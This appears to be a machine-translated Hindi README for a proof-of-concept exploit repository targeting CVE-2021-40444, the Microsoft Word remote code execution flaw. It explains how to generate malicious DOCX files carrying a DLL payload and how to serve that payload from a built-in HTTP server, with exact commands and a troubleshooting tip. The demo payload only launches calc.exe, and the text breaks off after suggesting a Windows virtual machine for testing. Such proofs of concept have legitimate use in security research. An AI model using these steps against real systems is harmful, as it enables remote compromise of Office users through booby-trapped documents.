w1kyri3/exploit-poc-cve-2021-40444-inject-ma-doc-vao-docxदुर्भावनापूर्ण DOCX दस्तावेज़ उत्पन्न करता है जो CVE-2021-40444 (Microsoft Office Word RCE) का शोषण करते हैं, साथ ही पेलोड को होस्ट करने के लिए एक अंतर्निहित HTTP सर्वर के साथ।
CVE-2021-40444 (Microsoft Office Word रिमोट कोड निष्पादन) का शोषण करने के लिए दुर्भावनापूर्ण docx जनरेटर
इस स्क्रिप्ट का निर्माण जंगल में उपयोग किए गए नमूने पर किए गए कुछ रिवर्स इंजीनियरिंग पर आधारित है: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx फ़ाइल)
आपको पहले lcab स्थापित करना होगा (sudo apt-get install lcab)
मैन्युअल पुनरुत्पादन चरणों के लिए REPRODUCE.md देखें
यदि आपका उत्पन्न cab काम नहीं कर रहा है, तो exploit.html URL को calc.cab पर इंगित करने का प्रयास करें
पहले एक DLL दिए जाने पर एक दुर्भावनापूर्ण docx दस्तावेज़ उत्पन्न करें, आप test/calc.dll पर उपलब्ध DLL का उपयोग कर सकते हैं जो system() कॉल से calc.exe चलाता है
python3 exploit.py generate test/calc.dll http://<SRV IP>
एक बार जब आप दुर्भावनापूर्ण docx उत्पन्न कर लेते हैं (यह out/ पर होगा) तो आप सर्वर सेट कर सकते हैं:
sudo python3 exploit.py host 80
अंत में, विंडोज वर्चुअल मशीन में docx आज़माएं:
